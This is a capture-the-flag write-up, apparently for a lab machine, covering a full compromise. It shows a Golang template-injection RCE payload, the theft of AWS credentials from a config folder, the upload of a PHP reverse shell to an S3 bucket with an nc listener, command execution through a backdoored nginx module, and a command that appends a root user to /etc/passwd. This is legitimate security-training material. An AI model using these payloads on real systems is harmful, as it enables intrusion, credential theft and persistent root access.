Enumeration

As per usual, we start with an nmap scan to get a listing of open ports and running services on the machine.

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
|   256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_  256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp   open  http    nginx
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-title: Hacking eSports | {{.Title}}
4566/tcp open  http    nginx
|_http-title: 403 Forbidden
8080/tcp open  http    nginx
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Hacking eSports | Home page
|_http-favicon: Unknown favicon MD5: 271532D72FD5025CF19147524DE66481
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have 4 ports open and some really interesting information readily available to us. It looks like we have port 22 open for remote administration which is pretty typical for a Linux web server. Additionally, we have 3 ports open all seemingly a part of what nginx is hosting on the machine.

The curious part is that what is running on port 80 looks to be similar to what is running on port 8080 based on the title, but the one on port 80 has failed to substitute in the .Title attribute, indicating there might be templating involved in whatever engine is running the web application.

Exploiting Golang SSTI

Going to port 8080 reveals a sign in page. We can try some basic default credentials but none seem to work. There is a forgot password link which takes us to /forgot. Typing in an email and hitting submit prints back who it was sent to. Since we have made the assumption that templating is in play, we can try a template injection. There is client side validation happening so we need burpsuite to be able to test the injections.

If we sent the POST /forgot to the repeater in burpsuite we can play around with the parameters. We can see in the X-Forwarded-For header that the server is golang which narrows down our injections significantly. One of the first payloads to try in a Golang template injection is simply {{ . }} which tells the template engine to put whatever it has access to at that point into the injection site. Think of it like the dot notation in most C style programming languages where it goes OBJECT DOT PROPERTY except the object portion is omitted because the template context is the implicit object. So we are asking for any property in the context of the current template, therefore gimme all your variables!

The response printed to the screen is:

Email Sent To: {1 [email protected] <redacted>}

We do have template injection and it looks like whatever is at the . context contains a user object with 3 fields, presumably ID, email and password. We can now try logging in as this user back at the root of the site on port 8080.

Weirdly though, when we get logged in, it looks like the application is under developed because we just get given a page of raw Golang code. Doing some static analysis on beautiful Golang code is easy. Given we already know that in the injection space we’re at, we have access to a user object, we find this to be very interesting:

type User struct {
        ID       int
        Email    string
        Password string
}


func (u User) DebugCmd (test string) string {
  ipp := strings.Split(test, " ")
  bin := strings.Join(ipp[:1], " ")
  args := strings.Join(ipp[1:], " ")
  if len(args) > 0{
    out, _ := exec.Command(bin, args).CombinedOutput()
    return string(out)
  } else {
    out, _ := exec.Command(bin).CombinedOutput()
    return string(out)
  }
}

The User object has a DebugCmd function associated with it. This is super weird because exec.Command(...).CombinedOutput() is an easy function in Golang to basically call shell commands. It is similar to the system(...) function in PHP. CombinedOutput takes both standard out and standard error and emits both together as a byte array. We can try to use this to get code execution on the machine.

We can call id using a payload like so:

{{ .DebugCmd "id" }}

If you are familiar with Kubernetes and using Helm, etc for deployments, you’ll probably recognise the syntax and calling convention because under the hood, it’s all Golang and Golang based templating stuff.

This payload will work and you should see the response of Email Sent To: uid=0(root) gid=0(root) groups=0(root) printed in the HTTP response body. We have full code execution via this DebugCmd gadget. We are root on the box which is a great start. I tried to get a full shell using Bash and Python standard reverse shells but that didn’t work. The container also lacks curl, wget and nc so it becomes progressively more difficult to get a shell. The reality is that we’re already root anyway, so we could just stick to the current RCE and see if we can find a box exploit.

First things to notice when we are rummaging around the machine is that the hostname is aws and there is an .aws folder in the home directory of the root user. This typically hides configuration for use with the AWS CLI and may sometimes contain credentials. In our case, we are lucky because that’s exactly what it has. We can also see the secrets inside the environment variables too by running env. We can copy these back to our attack host and interact with the target using a local copy of the aws CLI. This will work because the host has port 4566 open which is serving the AWS API, probably just so this exploit works.

If your attack host currently does not have the AWS CLI, you can get it using snap:

sudo snap install aws-cli --classic

Or if you are using apt as the package manager:

sudo apt install awscli -y

We can now interact with the AWS API using the CLI but we need to use --endpoint-url http://$target:4566 as a switch to the CLI to make sure it talks to the API on the target.

Listing buckets is then possible with:

aws --endpoint-url http://$target:4566 s3 ls

This reveals a bucket on the target of:

2024-10-05 13:47:14 website

Containing:

                           PRE css/
2024-10-05 13:47:14    1294778 bottom.png
2024-10-05 13:47:14     165551 header.png
2024-10-05 13:47:14          5 index.html
2024-10-05 13:47:14       1803 index.php

If we can dump our own shell in there, we could get RCE. Pick whatever PHP shell you want, I used the laudenum one that is always pretty nice and reliable. I copied it into the bucket:

aws --endpoint-url http://$target:4566 s3 cp ./rev.php s3://website/rev.php

Get ready to catch the shell with:

rlwrap nc -lnvp 4444

Then trigger the shell by going to http://$target/rev.php and success! We are on the gobox host as the www-data user now. If you’re flag hunting, the ubuntu user’s home directory has the flag and is world readable.

Privilege Escalation

Running netstat -tulpn reveals there is something listening locally on port 8000 that isn’t reachable outside the machine. Interrogating what this is in the nginx default available-sites reveals only:

server {
	listen 127.0.0.1:8000;
	location / {
		command on;
	}
}

It’s not immediately clear what this is. Googling around reveals it’s probably non-standard and could be an nginx module providing this functionality and it’s probably custom. Modules are stored in /etc/nginx/modules-enabled:

.		  50-mod-http-image-filter.conf  50-mod-stream.conf
..		  50-mod-http-xslt-filter.conf
50-backdoor.conf  50-mod-mail.conf

There is module with the name containing backdoor which is super exciting. This module simply tries to load another module called ngx_http_execute_module.so that comes from https://github.com/limithit/NginxExecute

It seems straight forward to exploit. We just want to curl a request at the root on port 8000 and pass in what you want it to execute. I tried curl http://127.0.0.1:8000/?system.run[id] and immediately got back curl: (52) Empty reply from server. It seems to be the exact same thing as what is in the GitHub project. It looks similar though so maybe it’s been modified slightly. To find the .so file, we can use find:

find / -type f -name "ngx_http_execute_module.so" 2>/dev/null

Then we can run strings against it to see if any of the binary file is readable. Something like system.run is likely hard-coded and readable in the source. There is a lot of output because there are so many readable strings. The binary is dynamically linked and not stripped so there’s a lot of data to comb through. I used grep to search for information and finally used grep run on the target and found that the parameter to pass to the request is likely ippsec.run.

Running:

curl http://127.0.0.1:8000/?ippsec.run[id]

Returns that we are running commands as the root user now on the main host. To get a full shell, we create an exploit payload in the /dev/shm folder which we cant write/read from:

echo "echo 'pentester:\$1\$3/vMHtaa\$SK5QeFSNPR40GFN6YEbJ1.:0:0:root:/root:/bin/bash' >> /etc/passwd" > /dev/shm/exploit.sh

This will create a new user entry in the /etc/passwd file with a user with the effective permissions of root. We make sure to chmod +x exploit.sh then call the payload:

curl http://127.0.0.1:8000/?ippsec.run[%2Fdev%2Fshm%2Fexploit%2Esh]

Now we have a root shell after doing su pentester and have completed the machine.